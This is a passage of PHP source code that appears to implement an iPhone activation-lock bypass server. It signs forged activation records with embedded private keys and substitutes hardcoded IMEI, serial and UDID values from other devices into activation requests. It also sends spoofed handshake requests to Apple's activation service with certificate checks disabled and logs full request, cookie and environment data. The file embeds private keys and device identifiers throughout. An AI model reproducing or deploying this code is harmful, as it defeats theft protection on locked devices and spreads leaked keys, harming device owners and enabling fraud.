206 | $FairPlayKeyData = 'LS0tLS1CRUdJTiBDT05UQUlORVItLS0tLQpBQUVBQWNvQkpGVDdsbGVLL01aMUpZZDY0RmhqN2tPV1ZyMDcycXdIYURqZFFsdCtNZUNDUVNKeWVwWktyZGhGCmdXNWJMUStvUjZXamk4VUc5c1JvZUZTOHJsRGRLeVNzOVZkc1BYRUlQdHVLOWJQenZuWEtCTXBLSC9LNXFNSXYKVFN6WEJweTRGY2R6dDVUMGNKRzQ3d0liNlZSYjNLT2dEQmpRR0VGM3luMDdvUmVQc2pGN0twNzh0c0wrcjRsRwo0eTBHSkVBSlY5cGh1R1g1WGpkYml3dmZ5WUcyc1o1Z3FTMlpPYlZIVnEydlo0czdzcExtREE5MDVuRis2ZXFOCkN2RlUrUmhaQlBqb1prVkNLSG9qUE44L3hyaVMwQnpDOUJiakRHcnN3dkJJcE9ndWhNT28xeThsQWpqelZJTEcKaWdMVi9oMUlyaXYzYXBmN2hVVVRURUtPeUxiVkVlYjFIM0s0b0d2WXN1ZHRBei8yTTc4dnVmTHFINlh1ODl1eApwZGgrdmtWejk2NjkxaFJJTjlCdnBiQklYT3Q5enMyckk1TjJiMENoQzkwZ2d2dDJMRlFUOXRVQm13dGhLakdGCitNSHBCaFBFSVFlOGJ0bGxUcEFnNTBraWo0alBwdW5KN0pKTmVQWE1HcnZMOVI3SlEyZEgvTDBpR3gxdG96U2IKVTJmTGdJcFJQeDBnZEtKRmVlaFQwMy8zSWh5aXRIZXcvWExxSTBxRnU1bDBwaEZ5L2ZqWEVLQkQvaG5kU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RHh5bFpwYlBoLzY2R3BxOFVOWVBJWk5RUWVrWgpXUWlOZXhFMytjSXUwblVjU2xBU2hTdmx6bXJ3enRUZndaL1lHUEZkbkhhaG5yUjRkNEI2Mlg0bWR0Tm1lQWg4ClF4Uk5sdVNqN2p4UzZoMWpBelVnRTlFUXFaTGJ3NHpLMWRGaVhqaml5MEJLV29jTVNxRHBaa2R5ZForUE1zakgKSE92SEZnOS9ZMXVSOFVqMjdmNmlWZUZlcC9OU0N5M1FRZVFRbkdxMWovdTJhVHVuCi0tLS0tRU5EIENPTlRBSU5FUi0tLS0tCg==';
210 | openssl_sign(base64_decode($AccountToken), $AccountTokenSignature, openssl_pkey_get_private(PrivateKeyRaptor()), OPENSSL_ALGO_SHA1);
211 | $body = '
212 |
213 | iphone-activation
214 |
215 | activation-record
216 |
217 | AccountTokenCertificate
218 |
219 | LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURaekNDQWsrZ0F3SUJBZ0lCQWpB
220 | TkJna3Foa2lHOXcwQkFRVUZBREI1TVFzd0NRWURWUVFHRXdKVlV6RVQKTUJFR0ExVUVD
221 | aE1LUVhCd2JHVWdTVzVqTGpFbU1DUUdBMVVFQ3hNZFFYQndiR1VnUTJWeWRHbG1hV05o
222 | ZEdsdgpiaUJCZFhSb2IzSnBkSGt4TFRBckJnTlZCQU1USkVGd2NHeGxJR2xRYUc5dVpT
223 | QkRaWEowYVdacFkyRjBhVzl1CklFRjFkR2h2Y21sMGVUQWVGdzB3TnpBME1UWXlNalUx
224 | TURKYUZ3MHhOREEwTVRZeU1qVTFNREphTUZzeEN6QUoKQmdOVkJBWVRBbFZUTVJNd0VR
225 | WURWUVFLRXdwQmNIQnNaU0JKYm1NdU1SVXdFd1lEVlFRTEV3eEJjSEJzWlNCcApVR2h2
226 | Ym1VeElEQWVCZ05WQkFNVEYwRndjR3hsSUdsUWFHOXVaU0JCWTNScGRtRjBhVzl1TUlH
227 | Zk1BMEdDU3FHClNJYjNEUUV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E1MDBDQXdFQUFhT0JsVENCa2pBZkJn
262 | TlZIU01FR0RBV2dCU3kKL2lFalJJYVZhbm5WZ1NhT2N4RFlwMHlPZERBZEJnTlZIUTRF
263 | RmdRVWpSUkxnd2ppU0FUVS9ZSS9vUkFWRWs2TgpVWWt3REFZRFZSMFRBUUgvQkFJd0FE
264 | QU9CZ05WSFE4QkFmOEVCQU1DQmFBd0lBWURWUjBsQVFIL0JCWXdGQVlJCkt3WUJCUVVI
265 | QXdFR0NDc0dBUVVGQndNQ01CQUdDaXFHU0liM1kyUUdDZ0lFQWdVQU1BMEdDU3FHU0li
266 | M0RRRUIKQlFVQUE0R0JBT2FKVVN2WVhRb0JaeXFnSE9EeE5zSnlFWXNpc3h0QngzS2Jr
267 | d2FydDRPTjV5cTBuUERIdk5naAo0WDlCc3d6M2ZmMURBS3diYU9EdGlWaDErVlJyUi9u
268 | amJKdVNaMFFSN2xDdmVkS214MHlqWFV2aXIvdlIzQ1doCmhHUXVaMkZqb0xJQXhYV05T
269 | Q1N2RWZzS0VYVlRKUm4vZUNYelpIaFJmZUpqaDRMdkZNSVEKLS0tLS1FTkQgQ0VSVElG
270 | SUNBVEUtLS0tLQo=
271 |
272 | AccountToken
273 |
274 | '.substr(chunk_split($AccountToken, 68, "\n\t"), 0, -2).'
275 |
276 | AccountTokenSignature
277 |
278 | '.substr(chunk_split(base64_encode($AccountTokenSignature), 68, "\n\t"), 0, -2).'
279 |
280 |
281 | unbrick
282 |
283 | show-settings
284 |
285 |
286 |
287 |
288 | ';
289 | $body1 = '
290 |
291 | iphone-activation
292 |
293 | unbrick
294 |
295 | LDActivationVersion
296 | 2
297 | activation-record
298 |
299 | AccountTokenCertificate
300 | LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURaekNDQWsrZ0F3SUJBZ0lCQWpBTkJna3Foa2lHOXcwQkFRVUZBREI1TVFzd0NRWURWUVFHRXdKVlV6RVQKTUJFR0ExVUVDaE1LUVhCd2JHVWdTVz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90ZmpRbzdhQkdhWmlxL1ZmbzFpNzlOWmRKNDBqdGRlQVB5S0tCemZ3OTNUczFvTVN4Qkh1clN3dgpiQnZnTkpuc2JEOG1DRGxWWmxKelVwczYxblY3SWI0U0pna29TcSswaUV0UWZvT3B4TnR5TlY2MlJDcHVNYU9nCldRQk1RWDlNY2NzK2RQWENvZUZSNVJ5SUJBa3EvT2lleUczUW9xT2NZYWY3ZnZHcy9pTjVaaVlMWmpWbmR0b2MKY1F3d29xaEZTVGREbUxPd1B5ZDNFYUkwUWw3V3NlM3BwemJsNXk1dmt3czJ4RnlHVEtkdzBmMHN0WW5RSzJxRgpFUW9ucUZzeFJkbC9HRjBoWHZYQVk4OGZ2enBwcGRyWERLU3NLN3VuUTJOWXZ2a0JNYmZncWh5TXNocThtQi8yCkVwSnVEcitwSU5VcG9rSjdlWFpVcjJIclE5SUVmZmlvalVHMVQrbS93UFpIbjNBN1p0UVpURjYzVkRqOFRzdVMKTG43YWw4ajhUeEk3K05TRzA0NzZUam02RzhCSys3b2N3SGJiTmsxSTI5RmxEcHljRmVqZ2ZneTR3VlNYUXdKZgo4cGtiSnpSa2tTRjZBSm9qSjZkSTd0RzhOd0lTNlQ5dVFTTkdQZzZ6OSt4VnY4RjhWRHNkVUxBMkRyc3h5cmsyClFBYjRTaU9sbDJHcENBWXgrOWpod1Rzd0RxV2lxbDE2OVZXYjllYVRRcEJnK2l4QVVKSlFkUU0vOTVsRUloNVkKQnl0TXk0VVV3Mjdic2FiYVZVNWxQdU40dGNzTHZRa21EMVBDREhYTDdzM3JlQjdPCi0tLS0tRU5EIENPTlRBSU5FUi0tLS0tCg==
305 | AccountToken
306 | '.$AccountToken.'
307 | AccountTokenSignature
308 | '.base64_encode($AccountTokenSignature).'
309 |
310 |
311 |
312 |
313 | ';
314 |
315 |
316 | $body2 = '
317 |
318 | ActivationRecord
319 |
320 | unbrick
321 |
322 | AccountTokenCertificate
323 | LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0t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EZFhCbGNuUnBibTh4RXpBUkJnTlZCQW9UQ2tGd2NHeGxJRWx1WXk0eER6QU5CZ05WCkJBc1RCbWxRYUc5dVpUQ0JuekFOQmdrcWhraUc5dzBCQVFFRkFBT0JqUUF3Z1lrQ2dZRUF5bSt5Mnd2MmtLaTMKc1RmMjRJbnloMDVYQ1pRNytwT0tycUNja3ZMSUlzNEozdy9ZN2liM2FIeUg3VTJhMnJzN0QySFhGa0NnMlhuVwp2c0JqdGpzN3AzQTJUK0tCZklwN3k2QlpRaEFQY0lYd1A3ZUtxcjlhcEtsajZIL1MxRW50ck5TTjZmL293QlpHCkZiMmRFTE8yc0Z5UzZPN2k4UFZvKzk3SmtlV2hYMGtDQXdFQUFhT0JsVENCa2pBZkJnTlZIU01FR0RBV2dCU3kKL2lFalJJYVZhbm5WZ1NhT2N4RFlwMHlPZERBZEJnTlZIUTRFRmdRVW5DWE1wSjhXNGRhdDZhakFnVitRL2N1awpVaTB3REFZRFZSMFRBUUgvQkFJd0FEQU9CZ05WSFE4QkFmOEVCQU1DQmFBd0lBWURWUjBsQVFIL0JCWXdGQVlJCkt3WUJCUVVIQXdFR0NDc0dBUVVGQndNQ01CQUdDaXFHU0liM1kyUUdDZ0lFQWdVQU1BMEdDU3FHU0liM0RRRUIKQlFVQUE0R0JBTE0yYS8yQU1MUmdLVDd3VWlsVEpMdEJYOGk5aDZhVGN2NzJaZC95Ulp2SUlOOWEzVm5mVjc0bApDRXh4S1Btdi9SU3g3bkppYkYwYjFKTU1uc3ppN05Memp5SGtIeDQ0VWNyYVJabUZYVjJHWjBVWXorVzRMQ1hQCndDODlCK242N25ad291b2N5WHNlY3o3VmduelhaRjVFVTBhTHZRamM0Yyt1UEMyTERUZnkKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=
326 | AccountToken
327 | '.$AccountToken.'
328 | AccountTokenSignature
329 | '.base64_encode($AccountTokenSignature).'
330 | UniqueDeviceCertificate
331 | LS0tLS1CRUdJTiBDRVJUSU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6TUE4R0ExVWQKRXdFQi93UUZNQU1CQWY4d0h3WURWUjBqQkJnd0ZvQVVXTy9XdnNXQ3NGVE5HS2FFcmFMMmUzczZmODh3RGdZRApWUjBQQVFIL0JBUURBZ0VHTUJZR0NTcUdTSWIzWTJRR0xBRUIvd1FHRmdSMVkzSjBNQW9HQ0NxR1NNNDlCQU1DCkEya0FNR1lDTVFEZjV6TmlpS04vSnFtczF3KzNDRFlrRVNPUGllSk1wRWtMZTlhMFVqV1hFQkRMMFZFc3EvQ2QKRTNhS1hrYzZSMTBDTVFEUzRNaVdpeW1ZK1J4a3Z5L2hpY0REUXFJL0JMK04zTEhxekpaVXV3MlN4MGFmRFg3Qgo2THlLaytzTHE0dXJrTVk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
332 | show-settings
333 |
334 |
335 |
336 |
337 | ';
338 |
339 | }
340 | file_put_contents('./var/www/requests/'.$data['SerialNumber'].'-'.$data['DeviceClass'].'-'.$data['RegionCode'].'-'.$data['ProductVersion'].'-Token.txt', "After: ".$AccountToken."\n", FILE_APPEND);
341 | // $final = str_replace("FairPlayKeyData".$dataGet['FairPlayKeyData']."", '', $final);
342 | // var_dump(shell_exec("curl --data 'activation-info-base64=".urlencode(base64_encode($newReq))."' -kv https://albert.apple.com/deviceservices/deviceActivation"));
343 | // DeviceConfigurationFlags
344 | // 0
345 | }
346 | $data = ActivationRequestInfoXML($rawactpost, 1);
347 | file_put_contents('./var/www/requests/'.$data['SerialNumber'].'-'.$data['DeviceClass'].'-'.$data['RegionCode'].'-'.$data['ProductVersion'].'-'.$data['RegulatoryModelNumber'].'.txt', json_encode($data));
348 |
349 | if (isset($_POST['saveRequestTicket'])) {
350 | file_put_contents('./var/www/requests/'.$_POST['saveRequestTicket'].'.html', $body);
351 | echo "Device Request Ticket Saved on server";
352 | } elseif (isset($_POST['saveRequestTicketWindows'])) {
353 | file_put_contents('./var/www/requests/'.$_POST['saveRequestTicketWindows'].'.html', $body);
354 | echo "Device Request Ticket Saved on server";
355 | } elseif (isset($_GET['saveRequestTicket'])) {
356 | file_put_contents('./var/www/requests/'.$_GET['saveRequestTicket'].'.html', $body);
357 | file_put_contents('./var/www/requests/'.$_GET['saveRequestTicket'].'-ARS.txt', $ARS);
358 | file_put_contents('./var/www/requests/'.$_GET['saveRequestTicket'].'-CSR.txt', $ARS."\n\nINN:\n".$data['AccountTokenCertificate']."\n\n".$data['AccountTokenSignature']."\n\nOUT:\n".AccountTokenCertificateTest()."\n\n".$AccountTokenSignature."\n\n".json_encode(getallheaders()));
359 | }
360 | if(strpos($_SERVER['HTTP_USER_AGENT'], 'iOS Device Activator') !== false) {
361 | if(strpos($body, 'Activation Lock') !== false) {
362 | // header("Content-Type: application/x-buddyml");
363 | header("Content-Type: text/xml");
364 |
365 | // $body = $rawactpost; // $_POST['activation-info'];
366 | } else {
367 | header("Content-Type: application/xml");
368 | // header("Content-Type: text/xml");
369 | }
370 | }
371 |
372 | // $body = str_replace(array("\n","\t"), array("",""), $body);
373 | // $body = 'iphone-activationactivation-recordFairPlayKeyDataLS0tLS1CRUdJTiBDT05UQUlORVItLS0tLQpBQUVBQWNvQkpGVDdsbGVLL01aMUpZZDY0RmhqN2tPV1ZyMDcycXdIYURqZFFsdCtNZUNDUVNKeWVwWktyZGhGCmdXNWJMUStvUjZXamk4VUc5c1JvZUZTOHJsRGRLeVNzOVZkc1BYRUlQdHVLOWJQenZuWEtCTXBLSC9LNXFNSXYKVFN6WEJweTRGY2R6dDVUMGNKRzQ3d0liNlZSYjNLT2dEQmpRR0VGM3luMDdvUmVQc2pGN0twNzh0c0wrcjRsRwo0eTBHSkVBSlY5cGh1R1g1WGpkYml3dmZ5WUcyc1o1Z3FTMlpPYlZIVnEydlo0czdzcExtREE5MDVuRis2ZXFOCkN2RlUrUmhaQlBqb1prVkNLSG9qUE44L3hyaVMwQnpDOUJiakRHcnN3dkJJcE9ndWhNT28xeThsQWpqelZJTEcKaWdMVi9oMUlyaXYzYXBmN2hVVVRURU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09IjsKfQ==AccountTokenSignatureok6Up7tVVkqiPjmN29MDqJuT9g31T0GNgRwBO8jvruFx9idYiECYkelM0g79K9Cc2WduOAtW01hbT+olMDpTbZ2fGO64QrW0Oukg79Dr9VecpgAYpBvGjeUYp4RZfePvsybMYmdk+YQomKznXN5BAMP44LTbUbgkqknMLOTyxvE=unbrickshow-settings';
374 | // $body = str_replace('unbrick', 'unbrickLDActivationVersion2', $body);
375 | // $body = str_replace('', 'show-settings', $body);
376 | $body1 = str_replace('iphone-activationunbrickactivation-record', 'ActivationRecordunbrick', str_replace("", "UniqueDeviceCertificateLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURBRENDQXFpZ0F3SUJBZ0lHQVc0Vk1VQjBNQW9HQ0NxR1NNNDlCQU1DTUVVeEV6QVJCZ05WQkFnTUNrTmhiR2xtYjNKdWFXRXhFekFSQmdOVkJBb01Da0Z3Y0d4bElFbHVZeTR4R1RBWEJnTlZCQU1NRUVaRVVrUkRMVlZEVWxRdFUxVkNRMEV3SGhjTk1qQXdOVEUzTURNeU56RTNXaGNOTWpFd05URTNNRE15TnpFM1dqQnZNUk13RVFZRFZRUUlEQXBEWVd4cFptOXlibWxoTVJNd0VRWURWUVFLREFwQmNIQnNaU0JKYm1NdU1SNHdIQVlEVlFRTERCVjFZM0owSUV4bFlXWWdRMlZ5ZEdsbWFXTmhkR1V4SXpBaEJnTlZCQU1NR2pBd01EQTRNREV3TFRBd01ERkZNVEV5UXpFNE5EWTRNekkyTUZrd0V3WUhLb1pJemowQ0FRWUlLb1pJemowREFRY0RRZ0FFR2Q0aEF3M2x1NHZPWUFkcy9NMjhnWjEwdTR6MWI5MVZPenJBT05hNGxreFEyVUlDOXZsUUV4azF4YWQ1NTZONjNkT2FCRmZrazRJVXFBcTRUci9mcmFPQ0FWZ3dnZ0ZVTUF3R0ExVWRFd0VCL3dRQ01BQXdEZ1lEVlIwUEFRSC9CQVFEQWdUd01JSDNCZ2txaGtpRzkyTmtDZ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GTVJNd0VRWURWUVFJCkRBcERZV3hwWm05eWJtbGhNUk13RVFZRFZRUUtEQXBCY0hCc1pTQkpibU11TVJrd0Z3WURWUVFEREJCR1JGSkUKUXkxVlExSlVMVk5WUWtOQk1Ga3dFd1lIS29aSXpqMENBUVlJS29aSXpqMERBUWNEUWdBRWFEYzJPL01ydVl2UApWUGFVYktSN1JSem42NkIxNC84S29VTXNFRGI3bkhrR0VNWDZlQyswZ1N0R0hlNEhZTXJMeVdjYXAxdERGWW1FCkR5a0dRM3VNMmFON01Ia3dIUVlEVlIwT0JCWUVGTFNxT2tPdEcrVit6Z29NT0JxMTBobkxsVFd6TUE4R0ExVWQKRXdFQi93UUZNQU1CQWY4d0h3WURWUjBqQkJnd0ZvQVVXTy9XdnNXQ3NGVE5HS2FFcmFMMmUzczZmODh3RGdZRApWUjBQQVFIL0JBUURBZ0VHTUJZR0NTcUdTSWIzWTJRR0xBRUIvd1FHRmdSMVkzSjBNQW9HQ0NxR1NNNDlCQU1DCkEya0FNR1lDTVFEZjV6TmlpS04vSnFtczF3KzNDRFlrRVNPUGllSk1wRWtMZTlhMFVqV1hFQkRMMFZFc3EvQ2QKRTNhS1hrYzZSMTBDTVFEUzRNaVdpeW1ZK1J4a3Z5L2hpY0REUXFJL0JMK04zTEhxekpaVXV3MlN4MGFmRFg3Qgo2THlLaytzTHE0dXJrTVk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K", $body));
377 | $body2 = str_replace('unbrick', 'unbrickLDActivationVersion2', $body);
378 | $body2 = str_replace('ActivationRecord', 'iphone-activation', $body2);
379 |
380 | if(isset($_GET['v'])) {
381 | if($_GET['v'] == '1') { $body = $body1; }
382 | if($_GET['v'] == '2') {
383 | if (isset($dataGet['UniqueDeviceCertificate'])) {
384 | $body2 = str_replace($dataGet['UniqueDeviceCertificate'], '', $bady2);
385 | $body2 = str_replace('UniqueDeviceCertificate', '', $bady2);
386 | }
387 | $body = $body2;
388 | $body = str_replace('unbr', 'ack-receivedunbr', $body);
389 | }
390 | } else {
391 | $body = str_replace('unbrick','unbrickshow-settings', $body);
392 | }
393 |
394 | header("Content-Length: " . strlen($body));
395 | echo $body;
396 |
397 | // Put Log to local files:
398 | $fh = fopen($logfile,'a') or die("can't open the file");
399 | fwrite($fh, "DATE: ".date('l jS \of F Y h:i:s A').
400 | " - IP Address: ".$ipaddress."\r\n
401 | RAWPOST: =\t".$rawactpost."\r\n
402 | POST: =\t".$rawpost."\r\n
403 | GET: =\t".$rawget."\r\n
404 | DATA: =\t".$rawdata."\r\n
405 | GLOBALS: =\t".json_encode($GLOBALS, true)."\r\n
406 | SERVER: =\t".json_encode($_SERVER, true)."\r\n
407 | REQUEST: =\t".json_encode($_REQUEST, true)."\r\n
408 | FILES: =\t".json_encode($_FILES, true)."\r\n
409 | ENV: =\t".json_encode($_ENV, true)."\r\n
410 | COOKIE: =\t".json_encode($_COOKIE, true)."\r\n
411 | HEADERS Device: =\t".json_encode($headers, true)."\r\n
412 | ----- ALBERT DUMP START -----\r\n".$albert."\r\n----- ALBERT DUMP DONE -----\r\n
413 | HEADERS Server: =\t".json_encode($header, true)."\r\n
414 | BODY Server: =\t".$body."\r\n
415 | CONTENT Type: =\t".$content_type."\r\n
416 | ARS Server: =\t".$ARS."\r\n
417 | HTTP CODE: =\t".$httpcode."\r\n
418 | VIA URL: =\t".$_SERVER['SCRIPT_FILENAME']."\r\n\r\n
419 | BOUNDARY: =\t".$boundary."\r\n\r\n
420 | ---------------------------------------------------\r\n---------------------------------------------------\r\n
421 | ---------------------------------------------------\r\n---------------------------------------------------\r\n
422 | \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n");
423 | fclose($fh);
424 | }
425 | function AccountTokenCertificateTest() {
426 | return base64_encode('-----BEGIN CERTIFICATE-----
427 | MIIDZzCCAk+gAwIBAgIBAjANBgkqhkiG9w0BAQUFADB5MQswCQYDVQQGEwJVUzET
428 | MBEGA1UECgwKQXBwbGUgSW5jLjEmMCQGA1U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444 | LY7UKoTIKW6lTq3qIODuXni5tU20byauhiWmkG3fIrUnugnTMYScGy/RZVRA8EUh
445 | MnMhAMuMgJPdff8=
446 | -----END CERTIFICATE-----');
447 | }
448 | function PrivateKeyRaptor() {
449 | return '-----BEGIN PRIVATE KEY-----
450 | MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAMZjRllRxHIk6I+/
451 | l70a/QWpjDQLsmyscDfWVSdDwTvlmkmZoj+Y0zGxVMUxqWMRK9Q0PQItx3uhdQrt
452 | tOMsFm89VDDU7H8iF9smvyIVWkd7L4Iq3S+UiWwISBAL3dLn27DZNJ9oiASiH66O
453 | Wp8Sqm3kZ/2O4cV4W9mGVEJBVXazAgMBAAECgYA+QKaxnoPrYYOMoA1obNCa90Ik
454 | jssVaOLp0prz8EHxnrHUiJ4uILGc9U1pd5T0nk3HkADY7y6ar+Z/YGoToyECh6NI
455 | kT5KfQhb6cyZw0vad/BhzIi7JYAyiLx1v+/JdRADNfYuZ/I6W+aY2iiqjy3UueIo
456 | oHMsp2AFgjJIf1QeeQJBAOT2mgj1qUUJDgg9Vv21tvoO7wLAQjCpodO+lxTlkpX2
457 | QSe6+DhncHHtGwJ1xqluM+cAmWR2sa2SpWkFmUofpvcCQQDd0GXBlYSFpcNLo2WX
458 | BNrysfyx2OOA1lD1kspPRYNeVrZ2XZo3GlakYN/x5s2h+3vh6CzmY/4v+4VsnkIs
459 | EhMlAkACpe+GJwE8MSyeX8c/y/g/0Chnib26PlwGzO+GaFlXrq92PC1eyaN9TdbA
460 | IoiXsRScmV8s0EqhzU5odo4dU1xlAkEAu3wEJkYcx2I+2lX37lf6QJzUu/ZZBXMg
461 | 5xD1018sFLcyboXbbavjg/kmEK9HLB0GrwGxweLO3Pu54P87a0izyQJACCANBXOl
462 | H+YvwLrFXOY4JD05xB9nu8fdMKkfQ1Y/6oD1eKjSbancC7lOxDqeFMf2uHUSyikX
463 | DFe8zJ24EvRssw==
464 | -----END PRIVATE KEY-----
465 | ';
466 | }
467 | //////////////////////////////////////////////////////////////////////////////////////////
468 | function ActivationRecordXML($xml){
469 | if (strpos($xml, 'AccountTokenCertificate') == false) return 'Activation Error 512';
470 | $xml = simplexml_load_string($xml);
471 | $keys = json_decode(json_encode($xml->dict->dict->dict->key),1);
472 | $data = json_decode(json_encode($xml->dict->dict->dict->data),1);
473 | if($keys[0] == 'unbrick' ) array_shift($keys);
474 | foreach ($keys as $keyident => $keystore) { $keydata[$keystore] = $data[$keyident]; }
475 | $AccountToken = str_replace( array('{','}','"',"\n","\t"), array('','','','',''), base64_decode($keydata['AccountToken']) );
476 | array_walk(explode(';', $AccountToken), function (&$value,$key) use (&$keydata) {
477 | list($k, $v) = explode(' = ', $value);
478 | if ($v) $keydata[$k] = $v;
479 | });
480 | if ($keydata) return $keydata;
481 | }
482 | function makeTickets($ActivationInfoXML, $IMEI, $SN, $UDID){
483 | if(strpos($ActivationInfoXML, 'MobileEquipmentIdentifier') !== false) {
484 | $unlockIMEI = '354957072435384';
485 | $unlockMEID = '35495707243538';
486 | $unlockSNID = 'FFMS992JGRXQ';
487 | $unlockUDID = '354b613bd50ba1a23b53930f61bad80a65e9c0e2';
488 |
489 | /* $unlockIMEI = '355691077115357';
490 | $unlockMEID = '35569107711535';
491 | $unlockSNID = 'FK3R4UP2GRYF';
492 | $unlockUDID = '12bba93fbffa91d31e7a022a9e5d70c8dcb457c7';
493 | */
494 | $ActivationInfoXML = str_replace(substr($IMEI, 0, 14), $unlockMEID, str_replace($SN, $unlockSNID, str_replace($IMEI, $unlockIMEI, str_replace($UDID, $unlockUDID, $ActivationInfoXML))));
495 | } elseif(strpos($ActivationInfoXML, 'InternationalMobileEquipmentIdentity') !== false) {
496 | $unlockIMEI = '355672072278051';
497 | $unlockSNID = 'DX4R9MJFFFG9';
498 | $ActivationInfoXML = str_replace($SN, $unlockSNID, str_replace($IMEI, $unlockIMEI, $ActivationInfoXML));
499 | } elseif(strpos($ActivationInfoXML, 'SerialNumber') !== false) {
500 | $unlockSNID = 'F4QKGCFSF193';
501 | $ActivationInfoXML = str_replace($SN, $unlockSNID, $ActivationInfoXML);
502 | } else {
503 | return "Error: 641";
504 | }
505 | return $ActivationInfoXML;
506 | }
507 | function ActivationRequestInfoXMLNew($xml, $full=0) { $i=0;
508 | $xml = simplexml_load_string(str_replace("","true",$xml));
509 | $keys = json_decode(json_encode($xml->dict->key),1);
510 | if(empty($keys)) { $keys = json_decode(json_encode($xml->key),1); $data = json_decode(json_encode($xml->data),1); }
511 | else { $data = json_decode(json_encode($xml->dict->data),1); }
512 | if ($full) $narr[] = array_combine($keys , $data);
513 | foreach ($keys as $keyident => $keystore) { $keydata[$keystore] = $data[$keyident]; }
514 | $ActivationRequestInfoXML = base64_decode($keydata['ActivationInfoXML']);
515 | $DeviceCertRequest = json_decode(json_encode(simplexml_load_string($ActivationRequestInfoXML)->dict->data),1);
516 | $innXML = array("\t","\t","","","integer");
517 | $outXML = array("\tfalse","\ttrue","","","string");
518 | $ActivationRequestInfo = str_replace($innXML, $outXML, $ActivationRequestInfoXML);
519 | $xml = simplexml_load_string($ActivationRequestInfo);
520 | $tmpkey = json_decode(json_encode($xml->dict->dict[$i]->key),1);
521 | $tmpstr = json_decode(json_encode($xml->dict->dict[$i]->string),1);
522 | $narr[] = array_combine($tmpkey , $tmpstr);
523 | while ( $tmpkey ) { $i++;
524 | if(empty($xml->dict->dict[$i]->key)) { break; }
525 | if(!$tmpkey = json_decode(json_encode($xml->dict->dict[$i]->key),1)) { break; }
526 | $tmpstr = json_decode(json_encode($xml->dict->dict[$i]->string),1);
527 | $narr[] = array_combine($tmpkey , $tmpstr);
528 | }
529 | $narr[] = array('DeviceCertRequest' => $DeviceCertRequest[0]);
530 | $result = call_user_func_array('array_merge', $narr);
531 | return $result;
532 | }
533 | function drmHandshake() {
534 | $IngestBody = '{"serial-number":"C7JP52A5G5MW","productType":"iPhone7,2","imei":"358362069398446","os-version":"12.4","udid":"913ba72a0981d3352bf28ca98b3a4a856f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n+85lqDoyomnec22K3RUxnEqzxMA6cT2pQIeUjhyVoRWE8TITFtCIIolpYOqxkkgduFyBM+GuBKY=","os-build":"16G77"}';
535 | $CollectionBlob = '
536 |
537 |
538 |
539 | IngestBody
540 |
541 | '.substr(chunk_split(base64_encode($IngestBody), 68, "\n\t"), 0, -2).'
542 |
543 | X-Apple-Sig-Key
544 | BFaG3r+lZOk8PEfw16SlZDzp1OtgmPGwzm6tR8G5zmyMdv7UPkpgTjPu4UfARvRgvLaN7q5qbmV3jXJ9kIOFf2c=
545 | X-Apple-Signature
546 | MEUCIBaEbDeFBzC6eLc8akNfXYhWHOlOal5J40M5idwlzomXAiEAyp9YUoksBFWMvWem23It+vIh8ITFxvtzCM+kJXMxDRQ=
547 |
548 |
549 | ';
550 | $request = '
551 |
552 |
553 |
554 | CollectionBlob
555 |
556 | '.substr(chunk_split(base64_encode($CollectionBlob), 68, "\n\t"), 0, -2).'
557 |
558 | HandshakeRequestMessage
559 |
560 | gic4oJIA7ntjKzdw7P6f6fS7zPKw
561 |
562 | UniqueDeviceID
563 | 913ba72a0981d3352bf28ca98b3a4a856fe81959
564 |
565 |
566 | ';
567 | $ch = curl_init();
568 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
569 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
570 | curl_setopt($ch, CURLOPT_HTTPHEADER, array("Accept: application/xml"));
571 | curl_setopt($ch, CURLOPT_URL, "https://albert.apple.com/deviceservices/drmHandshake");
572 | curl_setopt($ch, CURLOPT_POST, 1);
573 | curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
574 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
575 | $result = curl_exec($ch);
576 | curl_close ($ch);
577 | if(empty($result)) die('Connection Error');
578 | return $result;
579 | }
580 | function reqTicket($activationinfo, $serverKP) {
581 | $privatekey = "-----BEGIN RSA PRIVATE KEY-----
582 | MIICWwIBAAKBgQC/buX+a+Z/p7nW0fnFM9qLt4fK+9js1gH4SIXOgi9zjvq4krNm
583 | 5GaCZCeV+ieHbAgV21s2LD5L+OaiP0dTHa/pTdnOenaZb7J+k3ylI1DT5yRO/zpW
584 | MCSaO6eesY3dlpQD2+uitdkRNBL9JdRagBUR16AlWBym58iNSMRjohNjiQIDAQAB
585 | AoGAYO+lIxo8U/P41ODq24MQbaN37b9t7y/HO5RtvU6K/LcwGnqewcFybyCMMxPD
586 | JH398iNropjwysO09f+Y/GuSAW+Rw1P9okq53XgweA9ep55XsZw9lQ7Ppo/0NjFh
587 | KK6IIJ049g/sRvl+w22vE/Aq0X8e6nDECvF1H8n0RdMJwwkCQQDj2tSsEXBraMSh
588 | Bq/m6JOvSm/c38SaD8PIgLTuiuVxDtYV+xonuis11Iru8H+s9Y9xnqyAvL54V7ov
589 | LPjYQszbAkEA1xRaNBcjPmuTBXgCCuh3iTWPzY0d6wYIDfPYPQ246KZXL/8Km6YK
590 | 3kdbRO0BsbMk80tAxxgbfbYWa5eC7GCMawJAeL5Y3snrAfAl6pLpmfp7cHOIrcoi
591 | m+VowZJ6zsHp7iyHhGRpKs474a285fuqHNSP7AzCqwHaCVmrvx4czDUx6wJANMSi
592 | iOswU20zKgFShviX80r32BeKQpI9QacU443NUw8UjwsEwEFRo01ggB2h78YjB6nr
593 | 36zzeblF8OnATlw1twJAbAe85uwCWG1Kj6qWHpbH13d9suaNOZBNc3BtfJsKSJxm
594 | 2Z7lpkBUpp4Qxjs/tgu8ND3bS33PP1HVJtbEmJzZjA==
595 | -----END RSA PRIVATE KEY-----";
